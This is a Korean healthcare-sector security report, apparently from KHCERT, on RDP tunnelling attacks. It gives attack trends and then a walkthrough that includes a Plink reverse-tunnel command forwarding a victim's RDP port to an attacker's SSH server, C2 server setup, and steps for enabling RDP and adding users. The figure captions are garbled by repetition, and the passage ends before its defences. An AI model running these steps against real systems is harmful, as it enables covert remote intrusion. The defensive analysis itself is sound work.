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01
 ● ● ●

개 요

원격데스크톱(RDP, Remote Desktop Protocol)은 MS社의 Windows OS의 구성요소로 

ITU-T T.128 어플리케이션 프로토콜의 확장이다. 최초 1996년 Windows NT 4.0에서 

Terminal Service Client로 출시되었고, 이후 2009년 Remote Desktop Service(RDS)에 

포함되게 되었다. 

원격데스크톱(RDP)을 사용하기 위한 클라이언트는 Windows OS를 기본으로 리눅스, 

유닉스, 맥OS, 안드로이드 등 다양한 OS에 존재하며 기본적으로 TCP 포트 3389를 

사용한다. 원격데스크톱(RDP)은 시스템 관리자, 엔지니어, 원격근무 직원 등에게 편의를 

제공하기 위해서 다양한 조직에서 사용하고 있다. 

반면 원격데스크톱(RDP)이 사이버 공격에 악용되면 공격자에게도 동일한 편의성을 

제공하게 된다. 공격자는 공격 대상 시스템에 흔적을 남길 수 있는 커맨드 라인 

기반의 백도어보다 안정성과 기능상의 이점을 가진 원격데스크톱(RDP)을 선호한다.

[[[[[[[그림 그림 그림 그림 그림 그림 그림 I-I-I-I-I-I-I-[그림 I-11111111] ] ] ] ] ] ] 환자의 환자의 환자의 환자의 환자의 환자의 환자의 안전을 안전을 안전을 안전을 안전을 안전을 안전을 위협하는 위협하는 위협하는 위협하는 위협하는 위협하는 위협하는 첫 첫 첫 첫 첫 첫 첫 번째는 번째는 번째는 번째는 번째는 번째는 번째는 원격접근 원격접근 원격접근 원격접근 원격접근 원격접근 원격접근 시스템 시스템 시스템 시스템 시스템 시스템 시스템 해킹 해킹 해킹 해킹 해킹 해킹 해킹 (((((((출처출처출처출처출처출처출처: : : : : : : Health Health Health Health Health Health Health ITITITITITITIT　　　　　　　Security)Security)Security)Security)Security)Security)Security)] 환자의 안전을 위협하는 첫 번째는 원격접근 시스템 해킹 (출처: Health IT　Security)

Health IT Security의 2018년 10월 기사에 따르면 원격접속 시스템 해킹이 환자의 

안전을 위협하는 첫 번째 위협이라고 ECRI*의 “Top 10 Health Technology Hazards 

for 2019” 보고서를 인용하여 발표했다. ECRI는 원격접속 시스템은 외부 임상의가 

임상 데이터에 접근하거나 공급 업체가 병원에 설치된 시스템 문제를 해결하도록 

허용하는 것과 같은 합법적인 업무 요구사항을 수행하기 위한 원격접속 시스템을 

불법적인 목적으로 악용할 수 있다고 경고했다.([그림 I-1] 참고)

* ECRI(Emergency Care Research Institute): 전 세계 모든 의료 환경에서 치료의 안전, 품질
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및 비용 효율성을 개선하는 독립적인 비영리 조직

이처럼 의료분야에서도 원격접속 또는 원격데스크톱(RDP)에 대한 공격은 높은 위험

도를 가진 보안 위협이고 현재까지도 지속적으로 발생하고 있다.

[[[[[[[그림 그림 그림 그림 그림 그림 그림 I-I-I-I-I-I-I-[그림 I-22222222] ] ] ] ] ] ] RDP RDP RDP RDP RDP RDP RDP 공격 공격 공격 공격 공격 공격 공격 현황현황현황현황현황현황현황(((((((출처출처출처출처출처출처출처: : : : : : : Kaspersky)Kaspersky)Kaspersky)Kaspersky)Kaspersky)Kaspersky)Kaspersky)] RDP 공격 현황(출처: Kaspersky)

[그림 I-2]은 Kaspersky社에서 2020년 4월에 발표한 원격데스크톱(RDP)에 대한 무차

별 대입 공격의 국가별 현황을 나타낸 것이다. COVID-19 이후 원격 근로가 활발해

지는 2020년 3월 이후 모든 국가에서 원격데스크톱(RDP)에 대한 공격이 급증한 것

을 확인할 수 있다. 

원격데스크톱(이하 RDP)을 통한 지속적인 공격과 이로 인한 피해로 다수의 조직에

서는 원격접속을 제한하거나 비교적 조심스럽게 사용하고 있다. 그러나 외부에서의 

접속을 차단하는 것에 비해 내부에서 외부로 접속하는 트래픽은 별도의 제한이 없

거나 허술하게 관리되고 있다.

공격자는 이러한 취약점을 악용하여 네트워크 터널링과 호스트 기반의 포트 포워딩을 

통해 RDP 터널링 공격을 수행할 수 있다. RDP 터널링 공격은 2019년 1월 파이어

아이(FireEye)에서 “Bypassing Network Restrictions Through RDP Tunneling”이라는 

제목의 위협 연구를 통해 알려졌고, 조직에서 보호하고 있는 시스템이 RDP 터널링 

공격을 통해 어떻게 침해될 수 있는지 설명하고 있다.

RDP 터널링 공격은 허술하게 관리되는 아웃바운드 서비스나 프로토콜(ex. SSH 

등)을 공격자가 관리하는 서버로 연결하고 피해 시스템에서 호스트 기반 포트포워

딩을 설정한다. 그런 후 공격자는 C2(C&C)서버에서 터널링을 통해 피해시스템으로 
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RDP 접속을 시도한다. 피해 시스템은 터널링을 통한 RDP 접속을 포트포워딩하여 

RDP 접속이 성공하게 된다. 이러한 공격방식은 RDP 포트를 차단하는 방화벽 등의 

보안대책을 우회할 수 있기 때문에 공격 탐지에 어려움을 겪을 수 있다.

국내의 경우도 COVID-19로 인해 증가하는 원격근무와 비대면 서비스로 RDP의 사용이 

늘면서 이를 악용한 공격이 증가하고 있다. 특히 국내 의료기관의 경우 2020년 

~21년까지 발생한 랜섬웨어 감염사고에서 초기 침투와 내부전파 방법으로 RDP가 

지속적으로 악용되고 있는 것이 확인되었다. (출처: 진료정보침해대응센터(KHCERT)) 

국내 의료기관에서도 RDP 사용 증가와 향후 발생이 예상되는 고도화된 RDP 공격에 

대해서 선제적인 대응이 필요한 상황이다. 따라서 본 보고서에서는 탐지가 어렵고 

높은 위험도를 가진 RDP 터널링 공격에 대한 상세한 공격 방법을 분석하고 이에 

대한 보안대책을 제공하고자 한다.
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1 국내외 공격 동향

2020년 4분기 ESET社에서 발표한 위협 보고서에 따르면 2020년 1분기 대비 2분기의 

RDP 접속 시도는 102% 증가했고, RDP 접속을 시도하는 클라이언트는 40.8% 증가한 

것으로 나타났다. 2020년 1분기 대비 4분기의 RDP 접속 시도는 768% 증가했고, 

RDP 접속을 시도한 클라이언트는 225% 증가한 것으로 나타나 RDP 공격 시도가 

급격히 증가한 것을 확인할 수 있다.([그림 I-3] 참고)

[[[[[[[그림 그림 그림 그림 그림 그림 그림 I-I-I-I-I-I-I-[그림 I-33333333] ] ] ] ] ] ] 2020202020202020202020202020년 년 년 년 년 년 년 1111111분기분기분기분기분기분기분기~4~4~4~4~4~4~4분기 분기 분기 분기 분기 분기 분기 RDP RDP RDP RDP RDP RDP RDP 접속 접속 접속 접속 접속 접속 접속 시도 시도 시도 시도 시도 시도 시도 및 및 및 및 및 및 및 클라이언트 클라이언트 클라이언트 클라이언트 클라이언트 클라이언트 클라이언트 현황 현황 현황 현황 현황 현황 현황 (((((((출처출처출처출처출처출처출처:ESET):ESET):ESET):ESET):ESET):ESET):ESET)] 2020년 1분기~4분기 RDP 접속 시도 및 클라이언트 현황 (출처:ESET)

RDP 접속은 일반적으로 사용자 이름과 암호만으로 보호되고 있어서 무차별 대입 

공격에 취약하다. RDP 무차별 대입 공격*은 인터넷에서 매일 기록되는 모든 공격 

트래픽 중 상당 부분을 차지하고 전통적으로 자주 발생하는 사이버 공격 중 하나이다. 

사이버 공격자는 RDP 접속이 성공하면 공격 대상 네트워크에 접속하여 데이터를 

탈취하거나 랜섬웨어를 설치하여 암호화하고 몸값 지불을 요구하는 등의 공격을 

수행한다. 또는 RDP 접속정보와 자격증명을 다른 공격자에게 판매하여 2차, 3차 공격의 

기반을 제공하기도 한다.

* RDP 무차별 대입 공격(Brute Force attacks): RDP 로그인 자격 증명을 추측하기 위해

사용자 이름과 암호 조합을 통해 지속적으로 로그인을 시도하는 공격
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[[[[[[[그림 그림 그림 그림 그림 그림 그림 I-I-I-I-I-I-I-[그림 I-44444444] ] ] ] ] ] ] 랜섬웨어 랜섬웨어 랜섬웨어 랜섬웨어 랜섬웨어 랜섬웨어 랜섬웨어 공격 공격 공격 공격 공격 공격 공격 벡터 벡터 벡터 벡터 벡터 벡터 벡터 (((((((출처출처출처출처출처출처출처:COVEWARE):COVEWARE):COVEWARE):COVEWARE):COVEWARE):COVEWARE):COVEWARE)] 랜섬웨어 공격 벡터 (출처:COVEWARE)

2020년 4월 29일 COVEWARE社에서 발표한 랜섬웨어 공격 분석 보고서에 따르면 

랜섬웨어의 초기 침투 방법으로 가장 많은 비중을 차지하는 것은 RDP 공격이며, 이는 

2018년 4분기부터 2020년 1분기까지 유지되고 있다. RDP 공격은 공격방법이 어렵지 

않고 공격에 투입되는 비용도 비교적 낮은 수준이다. 또한 RDP 공격이 성공할 경우, 

공격 대상 시스템의 관리자 권한을 손쉽게 확보할 수 있으며, 내부 시스템으로 다시 

침투하는 것도 용이하다. 이러한 이유로 사이버 공격자들은 RDP 공격을 선호하며, 

[그림 I-4]는 이러한 공격 선호도를 단적으로 보여주는 예시이다.

[[[[[[[그림 그림 그림 그림 그림 그림 그림 I-I-I-I-I-I-I-[그림 I-55555555] ] ] ] ] ] ] 쇼단을 쇼단을 쇼단을 쇼단을 쇼단을 쇼단을 쇼단을 통해 통해 통해 통해 통해 통해 통해 검색한 검색한 검색한 검색한 검색한 검색한 검색한 RDP RDP RDP RDP RDP RDP RDP 접속 접속 접속 접속 접속 접속 접속 가능한 가능한 가능한 가능한 가능한 가능한 가능한 시스템 시스템 시스템 시스템 시스템 시스템 시스템 현황 현황 현황 현황 현황 현황 현황 ] 쇼단을 통해 검색한 RDP 접속 가능한 시스템 현황 
(((((((출처출처출처출처출처출처출처:Shodan.io):Shodan.io):Shodan.io):Shodan.io):Shodan.io):Shodan.io):Shodan.io)(출처:Shodan.io)

SHODAN* 검색 엔진을 통해 “remote desktop”을 검색한 결과 3백만개 이상의 시스템

이 검색되었고, 대한민국(KR)으로 필터링하면, 71,803개의 결과를 확인할 수 있었

다.([그림 I-5] 참고) 또한 3389 포트가 개방된 시스템은 4백만개 이상이 검색되었

고, 대한민국(KR)으로 필터링하면, 74,920개의 결과를 확인할 수 있다.([그림 I-6] 참
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고) SHODAN으로 검색된 시스템에 RDP 접속을 시도해본 결과 로그인을 할 수 있

는 ID, PW 입력창이 생성되는 것을 확인할 수 있었다.

* SHODAN: 인터넷에 연결된 특정 유형의 컴퓨터를 찾을 수 있는 검색엔진으로 시스템에

개방된 포트나 취약점 등을 검색하는데 주로 사용

[[[[[[[그림 그림 그림 그림 그림 그림 그림 I-I-I-I-I-I-I-[그림 I-66666666] ] ] ] ] ] ] 쇼단을 쇼단을 쇼단을 쇼단을 쇼단을 쇼단을 쇼단을 통해 통해 통해 통해 통해 통해 통해 검색한 검색한 검색한 검색한 검색한 검색한 검색한 3389 3389 3389 3389 3389 3389 3389 포트가 포트가 포트가 포트가 포트가 포트가 포트가 개방된 개방된 개방된 개방된 개방된 개방된 개방된 시스템 시스템 시스템 시스템 시스템 시스템 시스템 현황 현황 현황 현황 현황 현황 현황 (((((((출처출처출처출처출처출처출처:Shodan.io):Shodan.io):Shodan.io):Shodan.io):Shodan.io):Shodan.io):Shodan.io)] 쇼단을 통해 검색한 3389 포트가 개방된 시스템 현황 (출처:Shodan.io)

이러한 서버는 RDP 공격의 잠재적 대상이 될 수 있으며, 공격자는 이렇게 공개된 

RDP 서버를 통해 조직의 내부 네트워크까지 침투하기 때문에 공개된 RDP 서버에 

의해 취약해진 시스템의 수는 더 많아질 수 있다.

[[[[[[[그림 그림 그림 그림 그림 그림 그림 I-I-I-I-I-I-I-[그림 I-77777777] ] ] ] ] ] ] 의료의료의료의료의료의료의료ISAC ISAC ISAC ISAC ISAC ISAC ISAC RDP(3389) RDP(3389) RDP(3389) RDP(3389) RDP(3389) RDP(3389) RDP(3389) 포트 포트 포트 포트 포트 포트 포트 탐지현황 탐지현황 탐지현황 탐지현황 탐지현황 탐지현황 탐지현황 (`21.1~2(`21.1~2(`21.1~2(`21.1~2(`21.1~2(`21.1~2(`21.1~2월월월월월월월)))))))] 의료ISAC RDP(3389) 포트 탐지현황 (`21.1~2월)

2021년 1월~2월까지 의료ISAC에서 탐지된 RDP(3389) 포트에서의 공격의심 트래픽은 

[그림 I-7]와 같다. 하루 최대 약 147만건, 최소 약 20만건, 평균 45만5천건의 공격
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의심 트래픽이 탐지된 것을 확인할 수 있다. `21년 2월 20일부터 탐지건수가 급증한 

이유는 특정 의료기관에서 RDP(3389) 포트가 오픈되어 있어서 해외 다수IP로부터 

RDP(3389) 포트로 접근시도가 증가하였기 때문이다. 이러한 경우 의료ISAC에서는 

RDP(3389) 포트 차단 및 공격IP 차단을 권고한다.

[[[[[[[그림 그림 그림 그림 그림 그림 그림 I-I-I-I-I-I-I-[그림 I-88888888] ] ] ] ] ] ] 의료의료의료의료의료의료의료ISAC ISAC ISAC ISAC ISAC ISAC ISAC SSH(22) SSH(22) SSH(22) SSH(22) SSH(22) SSH(22) SSH(22) 포트 포트 포트 포트 포트 포트 포트 탐지현황 탐지현황 탐지현황 탐지현황 탐지현황 탐지현황 탐지현황 (`21.1~2(`21.1~2(`21.1~2(`21.1~2(`21.1~2(`21.1~2(`21.1~2월월월월월월월)))))))] 의료ISAC SSH(22) 포트 탐지현황 (`21.1~2월)

2021년 1월~2월까지 의료ISAC에서 탐지된 SSH(22) 포트에서의 공격의심 트래픽은 

[그림 I-8]과 같다. 하루 최대 약 183만건, 최소 약 44만5천건, 평균 70만6천건의 공

격의심 트래픽이 탐지된 것을 확인할 수 있다. `21년 2월 24일 특정 의료기관에서 

내부서버간 작업의 영향으로 탐지건수가 증가한 것으로 확인되었다. 상기 두 개의 

그래프는 RDP(3389)와 SSH(22)로 알려진 포트에 대해서만 통계를 나타냈지만, 원격접속 

서비스를 임의의 포트로 변경하여 사용하는 경우를 포함한다면 더 많은 탐지 건수가 

확인될 것으로 예상된다.

RDP 터널링 공격이 발생할 경우 [그림 I-8]과 같이 단순한 SSH 연결로 탐지되며, 표

면상으로는 내부에서 외부로 나가는 연결이기 때문에 내부 사용자가 외부의 시스템에 

접근한다고 오인하여 무시하고 지나칠 가능성이 높아진다. 이러한 상황을 대비하여 

본 보고서의 2장 상세분석과 3장 보안대책을 통해 RDP 터널링 공격에 대해 파악하고, 

대응방법을 조직에 적용하는 것을 권고한다.
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2 해외 공격 사례

미국 보건복지부(HHS: Department of Health and Human Service) 사이버보안 

프로그램에서 2019년 11월 발표한 “HC3 Intelligence Briefing Remote Desktop 

Protocol Exploitation” 보고서에 따르면 RDP를 주로 악용하는 공격그룹과 랜섬웨어의 

종류를 확인할 수 있다.([표 I-1] 참고)

[표 I-1]의 악성코드 중 ServHelper는 2018년 하반기에 발견된 백도어이다. 

ServHelper 백도어는 델파이로 개발되었고, DLL 파일을 통해 유포된다. 이 백도어는 

역방향 SSH 터널을 설정하고, 공격자가 공격 대상 시스템에 RDP와 같은 서비스를 

통해 접속할 수 있도록 기능을 제공한다.

[표 I-1]의 공격 그룹 분류 중 FIN8은 RDP 터널링 공격을 수행하는 것으로 확인된다. 

FIN8 공격 그룹은 금전적인 목적으로 맞춤형 스피어피싱을 주로 실행하는 것으로 

알려졌다. 미국의 보안업체인 FireEye社는 FIN8 공격 그룹이 북미의 100개 이상의 

조직을 공격한 것으로 분석했으며, 주요 공격분야는 의료, 숙박, 소매, 엔터테인먼트 

등이 있다. 미국 MITRE*의 공격그룹 분류를 확인해보면 FIN8이 사용하는 사이버 공격 

기법 중 RDP 터널링을 통해 공격자의 C2서버와 통신을 수행한다는 것이 확인된다. 

또한 공격 대상 네트워크에서 측면 이동을 수행할 때도 RDP를 사용하고 작업 스케

줄러를 통해 RDP 백도어를 유지하는 것으로 분석되었다. 

* MITRE(The MITRE Corporation) : 미국 정부기관을 지원하는 비영리단체로 사이버보안, 시

스템 엔지니어링 등의 연구 및 개발을 진행하고 관련된 센터를 운영하는 조직

공격그룹

Ÿ APT1
Ÿ APT3
Ÿ APT39
Ÿ APT41
Ÿ Axiom
Ÿ Carbanak
Ÿ Dragonfly 2.0

Ÿ FIN10
Ÿ FIN6
Ÿ FIN8
Ÿ Koadic
Ÿ Lazarus Group
Ÿ Leviathan
Ÿ menuPass

Ÿ Cobalt Group
Ÿ Cobalt Strike
Ÿ DarkComet
Ÿ Patchwork
Ÿ Stolen Pecil
Ÿ TEMP.Veles
Ÿ OilRig

악성코드
Ÿ jRAT
Ÿ QuasarRAT
Ÿ Revenge RAT

Ÿ njRAT
Ÿ zwShell/ZxShell

Ÿ Pupy
Ÿ ServHelper

랜섬웨어

Ÿ Apocalypse
Ÿ CrySiS/Dharma
Ÿ CryptON
Ÿ Samsam(Samas)
Ÿ Ryuk
Ÿ Sodinokibi
Ÿ SynAck

Ÿ DMA Locker
Ÿ LcokCrypt
Ÿ Scarabey
Ÿ Horsuke
Ÿ Bit Paymer
Ÿ RSAUtil
Ÿ Xpan

Ÿ LowLevel
Ÿ Smrss32
Ÿ WannaCry
Ÿ Aura/BandarChor
Ÿ ACCDFISA
Ÿ Globe

[[[[[[[표 표 표 표 표 표 표 I-1] I-1] I-1] I-1] I-1] I-1] I-1] RDPRDPRDPRDPRDPRDPRDP를 를 를 를 를 를 를 악용하는 악용하는 악용하는 악용하는 악용하는 악용하는 악용하는 공격그룹 공격그룹 공격그룹 공격그룹 공격그룹 공격그룹 공격그룹 및 및 및 및 및 및 및 랜섬웨어 랜섬웨어 랜섬웨어 랜섬웨어 랜섬웨어 랜섬웨어 랜섬웨어 (((((((출처출처출처출처출처출처출처:HHS.gov):HHS.gov):HHS.gov):HHS.gov):HHS.gov):HHS.gov):HHS.gov)[표 I-1] RDP를 악용하는 공격그룹 및 랜섬웨어 (출처:HHS.gov)
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[[[[[[[그림 그림 그림 그림 그림 그림 그림 I-I-I-I-I-I-I-[그림 I-99999999] ] ] ] ] ] ] MITRE MITRE MITRE MITRE MITRE MITRE MITRE ATT&CK ATT&CK ATT&CK ATT&CK ATT&CK ATT&CK ATT&CK FIN8 FIN8 FIN8 FIN8 FIN8 FIN8 FIN8 공격그룹의 공격그룹의 공격그룹의 공격그룹의 공격그룹의 공격그룹의 공격그룹의 단계별 단계별 단계별 단계별 단계별 단계별 단계별 공격 공격 공격 공격 공격 공격 공격 기법 기법 기법 기법 기법 기법 기법 (((((((출처출처출처출처출처출처출처:MITRE):MITRE):MITRE):MITRE):MITRE):MITRE):MITRE)] MITRE ATT&CK FIN8 공격그룹의 단계별 공격 기법 (출처:MITRE)

MITRE의 ATT&CK®는 2018년 1월 V1.0을 시작으로 2020년 10월 V8.2까지 꾸준히 

업데이트되고 있으며, 실제 사이버 공격에서 발견된 공격자의 해킹 전술과 기법에 

대한 전 세계적인 지식 기반 모델이다. ATT&CK 모델은 총 14개의 공격 단계로 구성

되고 단계별로 세부기술이 203개 존재하며, 추가적인 하위기술로 구성된다. 

[그림 I-9]는 FIN8 공격그룹이 사용하는 공격기법을 MITRE ATT&CK 모델에 맞추어 

분류한 결과이며, 측면 이동(Lateral Movement) 단계에서 원격데스크톱(Remote 

Desktop Protocol)을 악용하는 것이 확인된다. 또한 명령 및 제어(Command and 

Control, C2) 단계에서 비대칭 암호화(Asymmetric Cryptography)의 하위기술로 RDP 

터널링을 통해 C2 인프라와 통신하는 기법을 사용하고 있다.
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02
 ● ● ●

상세분석

1 RDP 터널링 공격 개요

일반적으로 방화벽으로 보호되어 노출되지 않은 시스템은 인바운드 RDP 시도에 대

해서는 취약하지 않은 것으로 생각하기 쉽다. 그러나 네트워크 터널링 및 호스트 

기반 포트 포워딩을 사용하여 방화벽을 무력화하는 것이 가능하다.

네트워크 터널링과 포트 포워딩은 방화벽에 의해 차단된 원격 서버와의 연결하기 

위해서 방화벽의 핀홀*을 이용한다.

* 핀홀 : 특정 응용 프로그램이 방화벽으로 보호된 네트워크의 호스트에 있는 서비스에

액세스할 수 있도록 방화벽에서 보호되지 않는 포트

피해 시스템이 방화벽 외부에 있는 원격 서버에 연결이 설정되면 터널링 기법을 

사용하여 접근할 수 있다. ([그림 Ⅱ-1] 참조)

RDP 터널링을 위해 사용되는 일반적인 유틸리티는 PuTTY 제품군의 하나인 Plink라는 

프로그램을 사용한다. Plink는 임의의 포트를 사용하여 다른 시스템에 대한 SSH 네트

워크 연결을 설정할 때 사용하는 도구이다. 대부분의 IT시스템 환경에서 프로토콜 

검사를 수행하지 않거나 아웃바운드 SSH 통신을 차단하지 않기 때문에 Plink를 

사용하여 피해 시스템의 RDP 서비스와 C2 서버가 서로 통신할 수 있도록 암호화된 

터널을 만들 수 있다.

[[[[[[[그림 그림 그림 그림 그림 그림 그림 ⅡⅡⅡⅡⅡⅡⅡ-1] -1] -1] -1] -1] -1] -1] 방화벽을 방화벽을 방화벽을 방화벽을 방화벽을 방화벽을 방화벽을 우회한 우회한 우회한 우회한 우회한 우회한 우회한 터널링 터널링 터널링 터널링 터널링 터널링 터널링 연결 연결 연결 연결 연결 연결 연결 (((((((출처출처출처출처출처출처출처:KHCERT):KHCERT):KHCERT):KHCERT):KHCERT):KHCERT):KHCERT)[그림 Ⅱ-1] 방화벽을 우회한 터널링 연결 (출처:KHCERT)
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<Plink 실행 명령어 예제>

plink.exe <users>@<IP or domain> -pw <password> -p 22 –2 –4 –T –N –C

–R 12345:127.0.0.1:3389

[[[[[[[그림 그림 그림 그림 그림 그림 그림 ⅡⅡⅡⅡⅡⅡⅡ-2] -2] -2] -2] -2] -2] -2] PlinkPlinkPlinkPlinkPlinkPlinkPlink를 를 를 를 를 를 를 사용하여 사용하여 사용하여 사용하여 사용하여 사용하여 사용하여 성공적인 성공적인 성공적인 성공적인 성공적인 성공적인 성공적인 RDPRDPRDPRDPRDPRDPRDP터널 터널 터널 터널 터널 터널 터널 연결 연결 연결 연결 연결 연결 연결 예시 예시 예시 예시 예시 예시 예시 (((((((출처출처출처출처출처출처출처:KHCERT):KHCERT):KHCERT):KHCERT):KHCERT):KHCERT):KHCERT)[그림 Ⅱ-2] Plink를 사용하여 성공적인 RDP터널 연결 예시 (출처:KHCERT)

[[[[[[[그림 그림 그림 그림 그림 그림 그림 ⅡⅡⅡⅡⅡⅡⅡ-3] -3] -3] -3] -3] -3] -3] 공격자 공격자 공격자 공격자 공격자 공격자 공격자 C&C C&C C&C C&C C&C C&C C&C 서버에서 서버에서 서버에서 서버에서 서버에서 서버에서 서버에서 피해자로 피해자로 피해자로 피해자로 피해자로 피해자로 피해자로 포트 포트 포트 포트 포트 포트 포트 포워딩 포워딩 포워딩 포워딩 포워딩 포워딩 포워딩 예시 예시 예시 예시 예시 예시 예시 (((((((출처출처출처출처출처출처출처:KHCERT):KHCERT):KHCERT):KHCERT):KHCERT):KHCERT):KHCERT)[그림 Ⅱ-3] 공격자 C&C 서버에서 피해자로 포트 포워딩 예시 (출처:KHCERT)

공격자는 공격 대상 네트워크에 포트포워딩을 통해 점프 박스*(jump box)를 설정함

으로써 임의의 포트에 대한 리스닝을 실시할 수 있다. 이로인해 공격자들은 피해 

시스템으로부터 오는 악성 트래픽을 수신하는 것이 가능하다. 악성 트래픽은 점프 

박스를 통해 망분리된 다른 시스템으로 포워딩할 수 있다. 이때 TCP 3389(RDP)도 

사용될 수 있다. [그림 Ⅱ-4]는 점프 박스를 통해 분리된 네트워크로 RDP 측면 이동

(Lateral Movement)의 사례를 보여준다.

* 점프 박스(jump box) : 점프 서버, 점프 컴퓨터라고도 하며, 격리된 보안영역에서 장치들을

접근하고 관리하기 위해 사용되는 네트워크 상의 컴퓨터를 말함
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[[[[[[[그림 그림 그림 그림 그림 그림 그림 ⅡⅡⅡⅡⅡⅡⅡ-4] -4] -4] -4] -4] -4] -4] [그림 Ⅱ-4] 점프 점프 점프 점프 점프 점프 점프 박스를 박스를 박스를 박스를 박스를 박스를 박스를 사용하여 사용하여 사용하여 사용하여 사용하여 사용하여 사용하여 분리된 분리된 분리된 분리된 분리된 분리된 분리된 네트워크로 네트워크로 네트워크로 네트워크로 네트워크로 네트워크로 네트워크로 RDPRDPRDPRDPRDPRDPRDP를 를 를 를 를 를 를 통한 통한 통한 통한 통한 통한 통한 측면 측면 측면 측면 측면 측면 측면 이동 이동 이동 이동 이동 이동 이동 (((((((출처출처출처출처출처출처출처:KHCERT):KHCERT):KHCERT):KHCERT):KHCERT):KHCERT):KHCERT)점프 박스를 사용하여 분리된 네트워크로 RDP를 통한 측면 이동 (출처:KHCERT)

참고로 공격자가 시스템에 RDP를 수행할 수 있으려면 필요한 터널링 유틸리티를 

만들거나 다른 침투 수단을 통해 시스템에 접근해야 한다. 예를 들어 공격자가 초기 

시스템 침투 시 피싱메일 등을 통해 악성코드를 감염시켜 권한 상승 및 자격 증명을 

추출하는 등의 1차 공격이 성공한 후에 RDP 터널링을 수행 할 수 있다. RDP 터널

링 기법은 일반적으로 공격자가 1차 침투가 성공한 환경에서 백도어처럼 유지하기 

위한 방법 중 하나이다.
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2 RDP 터널링 공격 기법 분석

공격자가 내부 네트워크 중 하나의 컴퓨터(피해 시스템)에 거점을 확보하는데 성공

했다고 가정해 보겠다. 공격자는 피해 시스템에서 RDP를 활성화하고 사용자의 자격 

증명을 덤프하거나 새로운 사용자를 생성하고 RDP 연결 권한이 있는 그룹에 추가

하여 RDP 터널링 연결을 위한 기반을 마련한다.

공격자는 외부 SSH서버(Linux시스템)를 갖고 있으며 Windows(127.0.0.1:3389)의 

피해 시스템에서 Linux 시스템의 12345 포트에 대한 포트포워딩을 설정한다.

RDP 터널링 연결이 설정되면 공격자는 RDP를 사용하여 어디에서나 Linux시스템의 

12345 포트에 연결하게 되면 피해 시스템의 127.0.0.1:3389로 전달된다.

[[[[[[[그림 그림 그림 그림 그림 그림 그림 ⅡⅡⅡⅡⅡⅡⅡ-5] -5] -5] -5] -5] -5] -5] RDPRDPRDPRDPRDPRDPRDP터널링 터널링 터널링 터널링 터널링 터널링 터널링 공격 공격 공격 공격 공격 공격 공격 기법 기법 기법 기법 기법 기법 기법 분석을 분석을 분석을 분석을 분석을 분석을 분석을 위한 위한 위한 위한 위한 위한 위한 상황설정 상황설정 상황설정 상황설정 상황설정 상황설정 상황설정 (((((((출처출처출처출처출처출처출처:KHCERT):KHCERT):KHCERT):KHCERT):KHCERT):KHCERT):KHCERT)[그림 Ⅱ-5] RDP터널링 공격 기법 분석을 위한 상황설정 (출처:KHCERT)

RDP 터널링 공격을 수행하기 위해서는 C2 서버가 될 Linux 시스템과 피해 시스템

(Windows), 그리고 공격을 수행할 공격자 시스템(Windows)이 필요하다.

(1) 1단계 : Linux C2 서버 설정

systemctl status ssh 명령어를 실행하여 SSH 서버가 실행 중인지 확인한다.

[[[[[[[그림 그림 그림 그림 그림 그림 그림 ⅡⅡⅡⅡⅡⅡⅡ-6] -6] -6] -6] -6] -6] -6] SSH SSH SSH SSH SSH SSH SSH 서비스 서비스 서비스 서비스 서비스 서비스 서비스 실행 실행 실행 실행 실행 실행 실행 확인 확인 확인 확인 확인 확인 확인 (((((((출처출처출처출처출처출처출처:KHCERT):KHCERT):KHCERT):KHCERT):KHCERT):KHCERT):KHCERT)[그림 Ⅱ-6] SSH 서비스 실행 확인 (출처:KHCERT)

SSH 서버가 실행중이지 않을 경우 다음과 같이 활성화한다.
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sudo apt update

sudo apt install openssh-server

Linux 시스템에서 RDP 수신 포트(“12345”)를 열기 위해 파일 편집기로 

/etc/ssh/sshd_config파일을 열고 다음 행을 추가 한다.

GatewayPorts=clientspecified

이 행을 사용하면 원격 호스트가 클라이언트에 전달된 포트에 연결할 수 있다.

[[[[[[[그림 그림 그림 그림 그림 그림 그림 ⅡⅡⅡⅡⅡⅡⅡ-7] -7] -7] -7] -7] -7] -7] SSH SSH SSH SSH SSH SSH SSH 서비스 서비스 서비스 서비스 서비스 서비스 서비스 활성화 활성화 활성화 활성화 활성화 활성화 활성화 확인 확인 확인 확인 확인 확인 확인 (((((((출처출처출처출처출처출처출처:KHCERT):KHCERT):KHCERT):KHCERT):KHCERT):KHCERT):KHCERT)[그림 Ⅱ-7] SSH 서비스 활성화 확인 (출처:KHCERT)

systemctl start ssh 명령어를 통해 SSH 서비스를 시작하면 Linux 서버는 이제 SSH 

서비스가 활성화된 상태로 준비되었다.

systemctl start ssh

(2) 2단계 : 피해 시스템에서 RDP 활성화

RDP를 활성화하는 방법에는 여러 가지가 있다. GUI를 사용하여 간단한 방법도 있

지만 공격자가 주로 사용하는 방법은 아래와 같다.

실행창(  + “R”)을 열어 시스템 속성 실행을 위한 명령어(sysdm.cpl)를 입력하고 

Enter키를 누른 다음 원격탭으로 이동한다. 아니면 더 빠른 실행을 위해 실행창에서 

SystemPropertiesRemote를 입력하고 Enter키를 누른다.

[[[[[[[그림 그림 그림 그림 그림 그림 그림 ⅡⅡⅡⅡⅡⅡⅡ-8] -8] -8] -8] -8] -8] -8] RDP RDP RDP RDP RDP RDP RDP 설정 설정 설정 설정 설정 설정 설정 (((((((출처출처출처출처출처출처출처:KHCERT):KHCERT):KHCERT):KHCERT):KHCERT):KHCERT):KHCERT)[그림 Ⅱ-8] RDP 설정 (출처:KHCERT)

이 컴퓨터에 대한 원격 연결 허용이 표시되어 있는지 확인한다. “사용자 선택...”으로 
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이동하여 원하는 사용자를 추가한다. 그러면 RDP 권한이 제공된다.

아래의 [그림 Ⅱ-9]와 같이 “remote1” 이라는 로컬 사용자를 추가하였다.

[[[[[[[그림 그림 그림 그림 그림 그림 그림 ⅡⅡⅡⅡⅡⅡⅡ-9] -9] -9] -9] -9] -9] -9] RDP RDP RDP RDP RDP RDP RDP 사용자 사용자 사용자 사용자 사용자 사용자 사용자 추가 추가 추가 추가 추가 추가 추가 (((((((출처출처출처출처출처출처출처:KHCERT):KHCERT):KHCERT):KHCERT):KHCERT):KHCERT):KHCERT)[그림 Ⅱ-9] RDP 사용자 추가 (출처:KHCERT)

현재 연결된 사용자를 방해하지 않고 RDP를 사용하여 원격 컴퓨터에 연결하기 위해 

다중 세션 RDP 연결을 활성화할 수 있다.

오픈소스 라이브러리인 RDPwrap을 통해서도 RDP　연결을 활성화할 수 있다. 설치를 

진행한 후 RDPConf를 실행하여 RDP 서비스가 실행 중인지 확인한다. (Service state: Running)

